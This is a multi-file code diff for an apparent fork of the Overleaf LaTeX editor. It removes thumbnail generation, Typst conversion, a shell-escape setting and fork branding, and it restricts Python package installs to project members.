# Install decktape + headless Chromium (for exporting RevealJS decks to PDF)
# -----------------------------------------------------------------------
# decktape drives a headless Chromium (via Puppeteer) to print the rendered
-1
View File
@@ -1,4 +1,3 @@
export ENABLE_PANDOC_CONVERSIONS=true
export CHAT_HOST=127.0.0.1
export CLSI_HOST=127.0.0.1
export DOCSTORE_HOST=127.0.0.1
-1
View File
@@ -50,7 +50,6 @@ const TMP_DIR = '/var/lib/overleaf/tmp'
const settings = {
clsi: {
optimiseInDocker: process.env.OPTIMISE_PDF === 'true',
latexShellEscape: process.env.OVERLEAF_LATEX_SHELL_ESCAPE === 'true',
},
brandPrefix: '',
+3 -3
View File
@@ -48,9 +48,9 @@ server {
rewrite ^/project/([0-9a-f]+)/user/([0-9a-f]+)/build/([0-9a-f-]+)/output/(.+)$ /$4 break;
root /var/lib/overleaf/data/output/$1-$2/generated-files/$3/;
}
# handle output files for anonymous users (project ID may be a UUID with hyphens for conversions)
location ~ ^/project/([0-9a-f-]+)/build/([0-9a-f-]+)/output/(.+)$ {
rewrite ^/project/([0-9a-f-]+)/build/([0-9a-f-]+)/output/(.+)$ /$3 break;
# handle output files for anonymous users
location ~ ^/project/([0-9a-f]+)/build/([0-9a-f-]+)/output/(.+)$ {
rewrite ^/project/([0-9a-f]+)/build/([0-9a-f-]+)/output/(.+)$ /$3 break;
root /var/lib/overleaf/data/output/$1/generated-files/$2/;
}
-1
View File
@@ -47,7 +47,6 @@ http {
gzip_proxied any; # allow upstream server to compress.
client_max_body_size 500m;
client_body_timeout 15m;
# gzip_vary on;
# gzip_proxied any;
-20
View File
@@ -9,26 +9,6 @@ server {
internal;
}
# File upload endpoints: extended timeouts for large files on slow connections.
# proxy_request_buffering off: forward the request body to Node.js immediately
# rather than buffering first, so Node.js can send a keepalive response byte
# before the full body arrives (preventing upstream proxy "first-byte" timeouts).
# proxy_buffering off: forward that keepalive byte to Traefik/LB without delay.
location ~ ^/project/[^/]+/upload$ {
proxy_pass http://127.0.0.1:4000;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_request_buffering off;
proxy_buffering off;
proxy_read_timeout 15m;
proxy_send_timeout 15m;
send_timeout 15m;
client_body_timeout 15m;
client_max_body_size 550m;
}
location / {
proxy_pass http://127.0.0.1:4000;
proxy_http_version 1.1;
-4
View File
@@ -150,10 +150,6 @@ app.post(
FileUploadMiddleware.multerMiddleware,
ConversionController.convertPDFToJPEG
)
app.get(
'/project/:project_id/user/:user_id/build/:build_id/thumbnail',
ConversionController.thumbnailFromBuild
)
if (process.env.NODE_ENV === 'development' && global.__coverage__) {
app.get('/coverage', (req, res) => {
+1 -117
View File
@@ -1,7 +1,4 @@
import crypto from 'node:crypto'
import { execFile } from 'node:child_process'
import os from 'node:os'
import { promisify } from 'node:util'
import logger from '@overleaf/logger'
import { expressify } from '@overleaf/promise-utils'
import fs from 'node:fs/promises'
@@ -19,14 +16,10 @@ import Settings from '@overleaf/settings'
import Path from 'node:path'
import { z } from '@overleaf/validation-tools'
const execFileAsync = promisify(execFile)
const CONVERSION_CONFIGS = {
docx: { extension: 'docx' },
markdown: { extension: 'zip' },
html: { extension: 'zip' },
typst: { extension: 'typ' },
latex: { extension: 'tex' },
}
async function convertDocumentToLaTeX(req, res) {
@@ -36,7 +29,7 @@ async function convertDocumentToLaTeX(req, res) {
await fs.unlink(path).catch(() => {})
return res.sendStatus(404)
}
if (!conversionType || !['docx', 'markdown', 'typst'].includes(conversionType)) {
if (!conversionType || !['docx', 'markdown'].includes(conversionType)) {
await fs.unlink(path).catch(() => {})
return res.sendStatus(400)
}
@@ -258,117 +251,8 @@ async function convertProjectToDocument(req, res) {
}
}
// Generates a JPEG thumbnail of page 1 of the compiled output using
// pdftocairo (poppler-utils). Tries output.pdf first (LaTeX / Quarto-PDF),
// then output-slides.pdf (Quarto RevealJS after a PDF-export compile), then
// falls back to rendering slide 1 of output.html via decktape (normal
// RevealJS preview compile). All temp dirs are cleaned up in finally.
async function thumbnailFromBuild(req, res) {
const { project_id: projectId, user_id: userId, build_id: buildId } = req.params
if (!buildId?.match(OutputCacheManager.BUILD_REGEX)) return res.sendStatus(400)
const compileName = userId ? `${projectId}-${userId}` : projectId
const buildDir = Path.join(
Settings.path.outputDir,
compileName,
OutputCacheManager.CACHE_SUBDIR,
buildId
)
let pdfPath = null
let deckTapeDir = null
for (const name of ['output.pdf', 'output-slides.pdf']) {
try {
const p = Path.join(buildDir, name)
await fs.access(p)
pdfPath = p
break
} catch {}
}
if (!pdfPath) {
const htmlPath = Path.join(buildDir, 'output.html')
try {
await fs.access(htmlPath)
deckTapeDir = await fs.mkdtemp(Path.join(os.tmpdir(), 'clsi-deck-'))
const chromeHome = Path.join(deckTapeDir, 'chrome')
await fs.mkdir(chromeHome, { recursive: true })
const slidePdf = Path.join(deckTapeDir, 'slide1.pdf')
await execFileAsync(
'decktape',
[
'--slides', '1',
'--chrome-arg=--no-sandbox',
'--chrome-arg=--disable-dev-shm-usage',
'--chrome-arg=--disable-gpu',
`--chrome-arg=--user-data-dir=${chromeHome}/data`,
htmlPath,
slidePdf,
],
{
timeout: 60000,
env: {
...process.env,
HOME: chromeHome,
XDG_CONFIG_HOME: chromeHome,
XDG_CACHE_HOME: chromeHome,
},
}
)
pdfPath = slidePdf
} catch (err) {
logger.warn({ err, projectId, buildId }, 'decktape slide1 thumbnail failed')
if (deckTapeDir) {
await fs.rm(deckTapeDir, { recursive: true, force: true }).catch(() => {})
deckTapeDir = null
}
return res.sendStatus(404)
}
}
const tmpDir = await fs.mkdtemp(Path.join(os.tmpdir(), 'clsi-thumb-'))
const outputBase = Path.join(tmpDir, 'thumb')
const jpegPath = outputBase + '.jpg'
try {
await execFileAsync(
'pdftocairo',
[
'-jpeg',
'-jpegopt', 'quality=90',
'-singlefile',
'-scale-to-x', '794',
'-scale-to-y', '-1',
'-f', '1',
'-l', '1',
pdfPath,
outputBase,
],
{ timeout: 30000 }
)
const jpegStat = await fs.stat(jpegPath)
res.setHeader('Content-Type', 'image/jpeg')
res.setHeader('Content-Length', jpegStat.size)
res.setHeader('Cache-Control', 'public, max-age=86400')
res.setHeader('X-Content-Type-Options', 'nosniff')
const readStream = fsSync.createReadStream(jpegPath)
await pipeline(readStream, res)
} catch (err) {
logger.warn({ err, projectId, buildId }, 'thumbnail generation failed')
if (!res.headersSent) res.sendStatus(500)
} finally {
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {})
if (deckTapeDir) {
await fs.rm(deckTapeDir, { recursive: true, force: true }).catch(() => {})
}
}
}
export default {
convertDocumentToLaTeX: expressify(convertDocumentToLaTeX),
convertProjectToDocument: expressify(convertProjectToDocument),
convertPDFToJPEG: expressify(convertPDFToJPEG),
thumbnailFromBuild: expressify(thumbnailFromBuild),
}
+1 -30
View File
@@ -16,15 +16,11 @@ const CONVERSION_CONFIGS = {
inputFilename: 'input.md',
pandocArgs: ['--from', 'markdown'],
},
typst: {
inputFilename: 'input.typ',
pandocArgs: ['--from', 'typst'],
},
}
const PDF_TO_JPEG_CONFIGS = {
preview: { width: 794, quality: 90 },
thumbnail: { width: 794, quality: 90 },
thumbnail: { width: 190, quality: 50 },
}
const PDF_TO_JPEG_INPUT_FILENAME = 'input.pdf'
@@ -179,31 +175,6 @@ const LATEX_EXPORT_CONFIGS = {
'--standalone',
],
},
typst: {
fileExtension: 'typ',
compressOutput: false,
getPandocArgs: ({ outputPath }) => [
'--output',
outputPath,
'--from',
'latex',
'--to',
'typst',
],
},
latex: {
fileExtension: 'tex',
compressOutput: false,
getPandocArgs: ({ outputPath }) => [
'--output',
outputPath,
'--from',
'typst',
'--to',
'latex',
'--standalone',
],
},
}
async function convertLaTeXToDocumentInDirWithLock(
-4
View File
@@ -197,10 +197,6 @@ function _buildLatexCommand(mainFile, opts = {}) {
command.push(...opts.flags)
}
if (Settings.clsi?.latexShellEscape) {
command.push('-shell-escape')
}
// TeX Engine selection. A .tex project may carry a non-LaTeX compiler value
// (e.g. 'quarto', the fork-wide default for Project.compiler) because the
// runner is chosen by file extension, not by this setting. In that case fall
+3 -2
View File
@@ -26,12 +26,13 @@ cypress/results/
# Ace themes for conversion
frontend/js/features/source-editor/themes/ace/
# Compiled parser files (latex/bibtex are generated by webpack plugin at build time)
# Compiled parser files
frontend/js/features/source-editor/lezer-latex/latex.mjs
frontend/js/features/source-editor/lezer-latex/latex.terms.mjs
frontend/js/features/source-editor/lezer-bibtex/bibtex.mjs
frontend/js/features/source-editor/lezer-bibtex/bibtex.terms.mjs
# typst compiled files are committed (generated via node scripts/lezer-latex/generate.mjs)
frontend/js/features/source-editor/lezer-typst/typst.mjs
frontend/js/features/source-editor/lezer-typst/typst.terms.mjs
!**/fixtures/**/*.log
@@ -26,7 +26,6 @@ import { expressify, promisify } from '@overleaf/promise-utils'
import { handleAuthenticateErrors } from './AuthenticationErrors.mjs'
import EmailHelper from '../Helpers/EmailHelper.mjs'
import SplitTestHandler from '../SplitTests/SplitTestHandler.mjs'
import Translations from '../../infrastructure/Translations.mjs'
const { hasAdminAccess } = AdminAuthorizationHelper
@@ -222,17 +221,6 @@ const AuthenticationController = {
await _afterLoginSessionSetupAsync(req, user)
// Sync user's stored language preference to cookie on login
if (user.languageCode) {
res.cookie(Translations.LANG_COOKIE_NAME, user.languageCode, {
maxAge: 365 * 24 * 60 * 60 * 1000,
httpOnly: true,
secure: Settings.secureCookie,
sameSite: 'Lax',
domain: Settings.cookieDomain,
})
}
AuthenticationController._clearRedirectFromSession(req)
AnalyticsRegistrationSourceHelper.clearSource(req.session)
AnalyticsRegistrationSourceHelper.clearInbound(req.session)
@@ -1,7 +1,6 @@
import { pipeline } from 'node:stream/promises'
import Metrics from '@overleaf/metrics'
import ProjectGetter from '../Project/ProjectGetter.mjs'
import { Project } from '../../models/Project.mjs'
import CompileManager from './CompileManager.mjs'
import ClsiManager from './ClsiManager.mjs'
import logger from '@overleaf/logger'
@@ -9,7 +8,6 @@ import Settings from '@overleaf/settings'
import Errors from '../Errors/Errors.js'
import SessionManager from '../Authentication/SessionManager.mjs'
import { userCanInstallPython } from './PythonVenvGate.mjs'
import TokenAccessHandler from '../TokenAccess/TokenAccessHandler.mjs'
import { RateLimiter } from '../../infrastructure/RateLimiter.mjs'
import Validation from '../../infrastructure/Validation.mjs'
import Path from 'node:path'
@@ -20,7 +18,6 @@ import {
fetchStreamWithResponse,
RequestFailedError,
} from '@overleaf/fetch-utils'
import ThumbnailManager from './ThumbnailManager.mjs'
import Features from '../../infrastructure/Features.mjs'
import ClsiCacheController from './ClsiCacheController.mjs'
import { prepareZipAttachment } from '../../infrastructure/Response.mjs'
@@ -208,8 +205,7 @@ const _CompileController = {
// Allow building a per-project Python venv from requirements.txt only for
// the project owner and invited collaborators — never anonymous or
// link-sharing users.
const anonToken = TokenAccessHandler.getRequestToken(req, projectId)
options.allowPythonInstall = await userCanInstallPython(userId, projectId, anonToken)
options.allowPythonInstall = await userCanInstallPython(userId, projectId)
let {
enablePdfCaching,
@@ -304,30 +300,6 @@ const _CompileController = {
? getOutputFilesArchiveSpecification(projectId, userId, buildId)
: null
// Persist quarto output flavor so the project-list badge can distinguish
// RevealJS presentations from PDF documents without needing a compile.
// options.compiler is not sent by the frontend, so we read the stored
// compiler from the DB. Done fire-and-forget so it never delays the response.
if (status === 'success') {
const isHtml = outputFiles.some(f => f.path === 'output.html')
ProjectGetter.promises
.getProject(projectId, { compiler: 1 })
.then(project => {
if (project?.compiler !== 'quarto') return
return Project.updateOne(
{ _id: projectId },
{ quartoFlavor: isHtml ? 'revealjs' : 'pdf' }
).exec()
})
.catch(err =>
logger.warn({ err, projectId }, 'failed to update quartoFlavor')
)
ThumbnailManager.generateAndCacheThumbnail(projectId, userId, buildId).catch(
err => logger.warn({ err, projectId }, 'thumbnail cache error')
)
}
res.json({
status,
outputFiles,
@@ -351,15 +323,6 @@ const _CompileController = {
res.sendStatus(200)
},
async getProjectThumbnail(req, res) {
const projectId = req.params.Project_id
const jpeg = await ThumbnailManager.getCachedThumbnail(projectId)
if (!jpeg) return res.sendStatus(404)
res.setHeader('Content-Type', 'image/jpeg')
res.setHeader('Cache-Control', 'public, max-age=60')
res.send(jpeg)
},
// Used for submissions through the public API
async compileSubmission(req, res) {
res.setTimeout(COMPILE_TIMEOUT_MS)
@@ -836,7 +799,6 @@ const CompileController = {
proxySyncPdf: expressify(_CompileController.proxySyncPdf),
proxySyncCode: expressify(_CompileController.proxySyncCode),
wordCount: expressify(_CompileController.wordCount),
getProjectThumbnail: expressify(_CompileController.getProjectThumbnail),
_getSafeProjectName: _CompileController._getSafeProjectName,
_getSplitTestOptions,
@@ -4,12 +4,11 @@ import AuthorizationManager from '../Authorization/AuthorizationManager.mjs'
// Whether this user may have the compiler install a project's requirements.txt
// into a cached venv (so Quarto's Python cells can use libraries beyond the
// bundled base set). Allowed for any user who can access the project owner,
// invited collaborators, token-link users, and public-project readers — since
// the set of packages to install is already controlled by requirements.vrf
// (writable only by project members with write access). Returns false when the
// feature is disabled, the privilege check fails, or the user has no access.
export async function userCanInstallPython(userId, projectId, token = null) {
// bundled base set). Gated to the project owner + invited collaborators (any
// role): ignorePublicAccess excludes link-sharing/public and anonymous users,
// who fall back to the base Python interpreter. Returns false when the feature
// is disabled or the privilege check fails.
export async function userCanInstallPython(userId, projectId) {
if (!Settings.enableProjectPythonVenv) {
return false
}
@@ -18,7 +17,8 @@ export async function userCanInstallPython(userId, projectId, token = null) {
await AuthorizationManager.promises.getPrivilegeLevelForProject(
userId,
projectId,
token
null,
{ ignorePublicAccess: true }
)
return Boolean(privilegeLevel)
} catch (err) {
@@ -1,63 +0,0 @@
import Settings from '@overleaf/settings'
import logger from '@overleaf/logger'
import RedisWrapper from '../../infrastructure/RedisWrapper.mjs'
import { fetchStreamWithResponse, RequestFailedError } from '@overleaf/fetch-utils'
const rclient = RedisWrapper.client('web')
const THUMBNAIL_TTL = 60 * 60 * 24 * 90 // 90 days
function redisKey(projectId) {
return `Thumbnail:${projectId}`
}
function clsiThumbnailUrl(projectId, userId, buildId) {
return `${Settings.apis.clsi.url}/project/${projectId}/user/${userId}/build/${buildId}/thumbnail`
}
async function generateAndCacheThumbnail(projectId, userId, buildId) {
if (!userId || !buildId) return
const url = clsiThumbnailUrl(projectId, userId, buildId)
let stream
try {
;({ stream } = await fetchStreamWithResponse(url))
} catch (err) {
if (!(err instanceof RequestFailedError)) {
logger.warn(
{ err, projectId, buildId },
'unexpected error fetching thumbnail from CLSI'
)
}
return
}
try {
const chunks = []
for await (const chunk of stream) {
chunks.push(Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk))
}
const jpegBuffer = Buffer.concat(chunks)
if (jpegBuffer.length === 0) return
await rclient.set(
redisKey(projectId),
jpegBuffer.toString('base64'),
'EX',
THUMBNAIL_TTL
)
} catch (err) {
logger.warn({ err, projectId }, 'failed to cache thumbnail in Redis')
}
}
async function getCachedThumbnail(projectId) {
try {
const b64 = await rclient.get(redisKey(projectId))
if (!b64) return null
return Buffer.from(b64, 'base64')
} catch (err) {
logger.warn({ err, projectId }, 'failed to get thumbnail from Redis')
return null
}
}
export default { generateAndCacheThumbnail, getCachedThumbnail }
@@ -13,15 +13,6 @@ import { expressify } from '@overleaf/promise-utils'
import { pipeline } from 'node:stream/promises'
import SplitTestHandler from '../SplitTests/SplitTestHandler.mjs'
import { DocumentConversionError } from '../Errors/Errors.js'
import ProjectLocator from '../Project/ProjectLocator.mjs'
import ProjectEntityUpdateHandler from '../Project/ProjectEntityUpdateHandler.mjs'
import { execFile } from 'node:child_process'
import { promisify } from 'node:util'
import { mkdtemp, writeFile, readFile, rm } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import nodePath from 'node:path'
const execFileAsync = promisify(execFile)
const { z, zz, parseReq } = Validation
@@ -29,8 +20,6 @@ const SUPPORTED_CONVERSION_TYPES = new Map([
['docx', 'docx'],
['markdown', 'zip'],
['html', 'zip'],
['typst', 'typ'],
['latex', 'tex'],
])
const exportProjectConversionSchema = z.object({
@@ -110,14 +99,14 @@ async function exportProjectConversion(req, res) {
{ compileFromHistory, rootResourcePath }
)
AnalyticsManager.recordEventForUserInBackground(userId, 'convert-format', {
sourceFormat: type === 'latex' ? 'typst' : 'latex',
sourceFormat: 'latex',
targetFormat: type,
status: 'success',
operation: 'export',
})
} catch (error) {
AnalyticsManager.recordEventForUserInBackground(userId, 'convert-format', {
sourceFormat: type === 'latex' ? 'typst' : 'latex',
sourceFormat: 'latex',
targetFormat: type,
status: 'failure',
operation: 'export',
@@ -175,102 +164,9 @@ async function downloadPreparedProjectExport(req, res) {
})
}
const DOC_CONVERSION_CONFIGS = {
typst: { fromExt: 'tex', toExt: 'typ', pandocFrom: 'latex', pandocTo: 'typst' },
latex: { fromExt: 'typ', toExt: 'tex', pandocFrom: 'typst', pandocTo: 'latex' },
}
async function convertDocInProject(req, res) {
const { Project_id: projectId, Doc_id: docId, type } = req.params
const userId = SessionManager.getLoggedInUserId(req.session)
const config = DOC_CONVERSION_CONFIGS[type]
if (!config) return res.status(400).json({ error: 'unsupported conversion type' })
const { lines } = await DocumentUpdaterHandler.promises.getDocument(
projectId,
docId,
-1
)
const content = lines.join('\n')
const { element, folder } = await ProjectLocator.promises.findElement({
project_id: projectId,
element_id: docId,
type: 'doc',
})
const parentFolderId = folder._id
const baseName = element.name.endsWith('.' + config.fromExt)
? element.name.slice(0, -(config.fromExt.length + 1))
: element.name
const outputName = baseName + '.' + config.toExt
const tmpDir = await mkdtemp(nodePath.join(tmpdir(), 'verso-convert-'))
let convertedContent
try {
const inputPath = nodePath.join(tmpDir, `input.${config.fromExt}`)
const outputPath = nodePath.join(tmpDir, `output.${config.toExt}`)
await writeFile(inputPath, content, 'utf8')
try {
await execFileAsync(
'pandoc',
[
inputPath,
'--from', config.pandocFrom,
'--to', config.pandocTo,
'--output', outputPath,
'--standalone',
],
{ timeout: 30_000 }
)
} catch (err) {
return res.status(422).json({ error: err.stderr || err.message })
}
convertedContent = await readFile(outputPath, 'utf8')
} finally {
await rm(tmpDir, { recursive: true, force: true })
}
const existingDoc = folder.docs?.find(d => d.name === outputName)
let resultDocId, resultName
if (existingDoc) {
await DocumentUpdaterHandler.promises.setDocument(
projectId,
existingDoc._id.toString(),
userId,
convertedContent.split('\n'),
'convert'
)
resultDocId = existingDoc._id
resultName = existingDoc.name
} else {
const { doc } = await ProjectEntityUpdateHandler.promises.addDoc(
projectId,
parentFolderId,
outputName,
convertedContent.split('\n'),
userId,
'convert'
)
resultDocId = doc._id
resultName = doc.name
}
ProjectAuditLogHandler.addEntryInBackground(
projectId,
'doc-converted',
userId,
req.ip
)
res.json({ docId: resultDocId, name: resultName, parentFolderId: parentFolderId.toString(), isNew: !existingDoc })
}
export default {
exportProjectConversion: expressify(exportProjectConversion),
downloadPreparedProjectExport: expressify(downloadPreparedProjectExport),
convertDocInProject: expressify(convertDocInProject),
downloadProject(req, res, next) {
const userId = SessionManager.getLoggedInUserId(req.session)
@@ -9,7 +9,7 @@ export default _.template(`\
<tr style="padding: 0; text-align: left; vertical-align: top;">
<th style="margin: 0; padding: 0; text-align: left;">
<% if (title) { %>
<h3 class="force-verso-style" style="margin: 0; color: #5D6879; font-family: Georgia, serif; font-size: 24px; font-weight: normal; line-height: 1.3; padding: 0; text-align: left; word-wrap: normal;">
<h3 class="force-overleaf-style" style="margin: 0; color: #5D6879; font-family: Georgia, serif; font-size: 24px; font-weight: normal; line-height: 1.3; padding: 0; text-align: left; word-wrap: normal;">
<%= title %>
</h3>
<% } %>
@@ -25,7 +25,7 @@ export default _.template(`\
<% } %>
<% (message).forEach(function(paragraph) { %>
<p class="force-verso-style" style="margin: 0 0 10px 0; padding: 0;">
<p class="force-overleaf-style" style="margin: 0 0 10px 0; padding: 0;">
<%= paragraph %>
</p>
<% }) %>
@@ -15,7 +15,7 @@ export default _.template(`\
<% } %>
<% (message).forEach(function(paragraph) { %>
<p class="force-verso-style" style="margin: 0 0 16px 0;">
<p class="force-overleaf-style" style="margin: 0 0 16px 0;">
<%= paragraph %>
</p>
<% }) %>
@@ -9,7 +9,7 @@ export default _.template(`\
<tr style="padding: 0; text-align: left; vertical-align: top;">
<th style="margin: 0; padding: 0; text-align: left;">
<% if (title) { %>
<h3 class="force-verso-style" style="margin: 0; color: #5D6879; font-family: Georgia, serif; font-size: 24px; font-weight: normal; line-height: 1.3; padding: 0; text-align: left; word-wrap: normal;">
<h3 class="force-overleaf-style" style="margin: 0; color: #5D6879; font-family: Georgia, serif; font-size: 24px; font-weight: normal; line-height: 1.3; padding: 0; text-align: left; word-wrap: normal;">
<%= title %>
</h3>
<% } %>
@@ -25,7 +25,7 @@ export default _.template(`\
<% } %>
<% (message).forEach(function(paragraph) { %>
<p class="force-verso-style" style="margin: 0 0 10px 0; padding: 0;">
<p class="force-overleaf-style" style="margin: 0 0 10px 0; padding: 0;">
<%= paragraph %>
</p>
<% }) %>
@@ -52,7 +52,7 @@ export default _.template(`\
<p style="margin: 0; padding: 0;">&#xA0;</p>
<% (secondaryMessage).forEach(function(paragraph) { %>
<p class="force-verso-style">
<p class="force-overleaf-style">
<%= paragraph %>
</p>
<% }) %>
@@ -60,11 +60,11 @@ export default _.template(`\
<p style="margin: 0; padding: 0;">&#xA0;</p>
<p class="force-verso-style" style="font-size: 12px;">
<p class="force-overleaf-style" style="font-size: 12px;">
If the button above does not appear, please copy and paste this link into your browser's address bar:
</p>
<p class="force-verso-style" style="font-size: 12px;">
<p class="force-overleaf-style" style="font-size: 12px;">
<%= ctaURL %>
</p>
</td>
@@ -15,7 +15,7 @@ export default _.template(`\
<% } %>
<% (message).forEach(function(paragraph) { %>
<p class="force-verso-style" style="margin: 0 0 16px 0;">
<p class="force-overleaf-style" style="margin: 0 0 16px 0;">
<%= paragraph %>
</p>
<% }) %>
@@ -32,7 +32,7 @@ export default _.template(`\
<% if (secondaryMessage && secondaryMessage.length > 0) { %>
<% (secondaryMessage).forEach(function(paragraph) { %>
<p class="force-verso-style" style="margin: 0 0 16px 0;">
<p class="force-overleaf-style" style="margin: 0 0 16px 0;">
<%= paragraph %>
</p>
<% }) %>
@@ -276,7 +276,7 @@ templates.confirmCode = NoCTAEmailTemplate({
return ''
},
subject(opts) {
return `Confirm your email address on ${settings.appName} (${opts.confirmCode})`
return `Confirm your email address on Overleaf (${opts.confirmCode})`
},
title(opts) {
return 'Confirm your email address'
@@ -284,7 +284,7 @@ templates.confirmCode = NoCTAEmailTemplate({
message(opts, isPlainText) {
const msg = opts.welcomeUser
? [
`Welcome to ${settings.appName}! We're so glad you joined us.`,
`Welcome to Overleaf! We're so glad you joined us.`,
'Use this 6-digit confirmation code to finish your setup.',
]
: ['Use this 6-digit code to confirm your email address.']
@@ -477,7 +477,7 @@ templates.inviteNewUserToJoinManagedUsers = ctaTemplate({
templates.groupSSOLinkingInvite = ctaTemplate({
subject(opts) {
const subjectPrefix = opts.reminder ? 'Reminder: ' : 'Action required: '
return `${subjectPrefix}Authenticate your ${settings.appName} account`
return `${subjectPrefix}Authenticate your Overleaf account`
},
title(opts) {
const titlePrefix = opts.reminder ? 'Reminder: ' : ''
@@ -495,8 +495,8 @@ templates.groupSSOLinkingInvite = ctaTemplate({
</div>
</br>
<div>
You won't need to remember a separate email address and password to sign in to ${settings.appName}.
All you need to do is authenticate your existing ${settings.appName} account with your SSO provider.
You won't need to remember a separate email address and password to sign in to Overleaf.
All you need to do is authenticate your existing Overleaf account with your SSO provider.
</div>
`,
]
@@ -517,7 +517,7 @@ templates.groupSSOLinkingInvite = ctaTemplate({
templates.groupSSOReauthenticate = ctaTemplate({
subject(opts) {
return `Action required: Reauthenticate your ${settings.appName} account`
return 'Action required: Reauthenticate your Overleaf account'
},
title(opts) {
return 'Action required: Reauthenticate SSO'
@@ -526,8 +526,8 @@ templates.groupSSOReauthenticate = ctaTemplate({
return [
`Hi,
<div>
Single sign-on for your ${settings.appName} group has been updated.
This means you need to reauthenticate your ${settings.appName} account with your groups SSO provider.
Single sign-on for your Overleaf group has been updated.
This means you need to reauthenticate your Overleaf account with your groups SSO provider.
</div>
`,
]
@@ -538,7 +538,7 @@ templates.groupSSOReauthenticate = ctaTemplate({
} else {
const passwordResetUrl = `${settings.siteUrl}/user/password/reset`
return [
`If youre not currently logged in to ${settings.appName}, youll need to <a href="${passwordResetUrl}">set a new password</a> to reauthenticate.`,
`If youre not currently logged in to Overleaf, you'll need to <a href="${passwordResetUrl}">set a new password</a> to reauthenticate.`,
]
}
},
@@ -556,9 +556,9 @@ templates.groupSSOReauthenticate = ctaTemplate({
templates.groupSSODisabled = ctaTemplate({
subject(opts) {
if (opts.userIsManaged) {
return `Action required: Set your ${settings.appName} password`
return `Action required: Set your Overleaf password`
} else {
return `A change to your ${settings.appName} login options`
return 'A change to your Overleaf login options'
}
},
title(opts) {
@@ -567,12 +567,12 @@ templates.groupSSODisabled = ctaTemplate({
message(opts, isPlainText) {
const loginUrl = `${settings.siteUrl}/login`
let whatDoesThisMeanExplanation = [
`You can still log in to ${settings.appName} using one of our other <a href="${loginUrl}" style="color: #1d7a6e; text-decoration: none;">login options</a> or with your email address and password.`,
`You can still log in to Overleaf using one of our other <a href="${loginUrl}" style="color: #0F7A06; text-decoration: none;">login options</a> or with your email address and password.`,
`If you don't have a password, you can set one now.`,
]
if (opts.userIsManaged) {
whatDoesThisMeanExplanation = [
`You now need an email address and password to sign in to your ${settings.appName} account.`,
'You now need an email address and password to sign in to your Overleaf account.',
]
}
@@ -626,7 +626,7 @@ templates.surrenderAccountForManagedUsers = ctaTemplate({
const managedUsersLink = EmailMessageHelper.displayLink(
'user account management',
`${settings.siteUrl}/learn/how-to/Understanding_Managed_Accounts`,
`${settings.siteUrl}/learn/how-to/Understanding_Managed_Overleaf_Accounts`,
isPlainText
)
@@ -757,17 +757,22 @@ templates.userOnboardingEmail = NoCTAEmailTemplate({
message(opts, isPlainText) {
const learnLatexLink = EmailMessageHelper.displayLink(
'Learn LaTeX in 30 minutes',
`${settings.siteUrl}/learn/latex/Learn_LaTeX_in_30_minutes?utm_source=verso&utm_medium=email&utm_campaign=onboarding`,
`${settings.siteUrl}/learn/latex/Learn_LaTeX_in_30_minutes?utm_source=overleaf&utm_medium=email&utm_campaign=onboarding`,
isPlainText
)
const templatesLinks = EmailMessageHelper.displayLink(
'Find a beautiful template',
`${settings.siteUrl}/latex/templates?utm_source=verso&utm_medium=email&utm_campaign=onboarding`,
`${settings.siteUrl}/latex/templates?utm_source=overleaf&utm_medium=email&utm_campaign=onboarding`,
isPlainText
)
const collaboratorsLink = EmailMessageHelper.displayLink(
'Work with your collaborators',
`${settings.siteUrl}/learn/how-to/Sharing_a_project?utm_source=verso&utm_medium=email&utm_campaign=onboarding`,
`${settings.siteUrl}/learn/how-to/Sharing_a_project?utm_source=overleaf&utm_medium=email&utm_campaign=onboarding`,
isPlainText
)
const siteLink = EmailMessageHelper.displayLink(
'www.overleaf.com',
settings.siteUrl,
isPlainText
)
const userSettingsLink = EmailMessageHelper.displayLink(
@@ -775,21 +780,28 @@ templates.userOnboardingEmail = NoCTAEmailTemplate({
`${settings.siteUrl}/user/email-preferences`,
isPlainText
)
const onboardingSurveyLink = EmailMessageHelper.displayLink(
'Join our user feedback program',
'https://forms.gle/DB7pdk2B1VFQqVVB9',
isPlainText
)
return [
`Thanks for signing up for ${settings.appName} recently. We hope you've been finding it useful! Here are some key features to help you get the most out of the service:`,
`${learnLatexLink}: In this tutorial we provide a quick and easy first introduction to LaTeX with no prior knowledge required. By the time you are finished, you will have written your first LaTeX document!`,
`${templatesLinks}: If you're looking for a template or example to get started, we've a large selection available in our template gallery, including CVs, project reports, journal articles and more.`,
`${collaboratorsLink}: One of the key features of ${settings.appName} is the ability to share projects and collaborate on them with other users. Find out how to share your projects with your colleagues in this quick how-to guide.`,
`Thanks for using ${settings.appName}!`,
`The ${settings.appName} Team<hr>`,
`You're receiving this email because you've recently signed up for a ${settings.appName} account. If you've previously subscribed to emails about product offers and company news and events, you can unsubscribe ${userSettingsLink}.`,
`${collaboratorsLink}: One of the key features of Overleaf is the ability to share projects and collaborate on them with other users. Find out how to share your projects with your colleagues in this quick how-to guide.`,
`${onboardingSurveyLink} to help us make Overleaf even better!`,
'Thanks again for using Overleaf :)',
`Lee`,
`Lee Shalit<br />CEO<br />${siteLink}<hr>`,
`You're receiving this email because you've recently signed up for an Overleaf account. If you've previously subscribed to emails about product offers and company news and events, you can unsubscribe ${userSettingsLink}.`,
]
},
})
templates.securityAlert = NoCTAEmailTemplate({
subject(opts) {
return `${settings.appName} security note: ${opts.action}`
return `Overleaf security note: ${opts.action}`
},
title(opts) {
return opts.action.charAt(0).toUpperCase() + opts.action.slice(1)
@@ -825,11 +837,12 @@ templates.securityAlert = NoCTAEmailTemplate({
},
})
const GIT_TOKEN_DOCS_URL = `${settings.siteUrl}/learn/how-to/Git_integration`
const GIT_TOKEN_DOCS_URL =
'https://docs.overleaf.com/integrations-and-add-ons/git-integration-and-github-synchronization/git-integration/git-integration-authentication-tokens#how-to-generate-authentication-tokens'
templates.gitTokenExpiringSoon = NoCTAEmailTemplate({
subject() {
return `Your ${settings.appName} token is about to expire`
return 'Your Overleaf token is about to expire'
},
title() {
return 'Your token is about to expire'
@@ -853,14 +866,14 @@ templates.gitTokenExpiringSoon = NoCTAEmailTemplate({
`If you haven't already, you'll need to generate a new token in your ${settingsLink}.`,
`Take a look at ${docsLink} if you need more help.`,
'All the best,',
`The ${settings.appName} Team`,
'Team Overleaf',
]
},
})
